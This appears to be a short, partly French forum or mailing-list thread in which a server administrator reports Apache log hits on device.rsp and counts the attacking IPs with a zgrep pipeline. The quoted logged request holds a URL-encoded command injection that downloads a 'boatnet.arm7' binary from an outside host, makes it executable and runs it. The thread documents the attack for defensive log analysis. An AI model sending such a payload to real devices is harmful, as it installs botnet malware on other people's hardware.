Scan of IP 144.172.98.50 (Utah)

[farias]

"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.165%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20tbk HTTP/1.1"

[farias]

La liste complete :

# zgrep "device.rsp" /var/log/apache2/access.*gz |  sed 's/:/ /g' | awk '{print $2}' | sort -n | uniq -c
      9 37.60.141.156
      4 37.60.141.158
      1 39.108.62.29
      1 45.153.34.225
      1 45.156.87.165
      4 45.88.186.32
      2 124.198.131.145
      4 141.98.11.44
      1 180.176.248.254
      1 180.176.248.63
      2 192.159.99.101
      2 192.159.99.162
      3 192.253.248.5
      2 195.96.129.55
      2 195.96.129.58
      3 196.251.84.66
      1 217.145.72.208

[farias]

Et hop :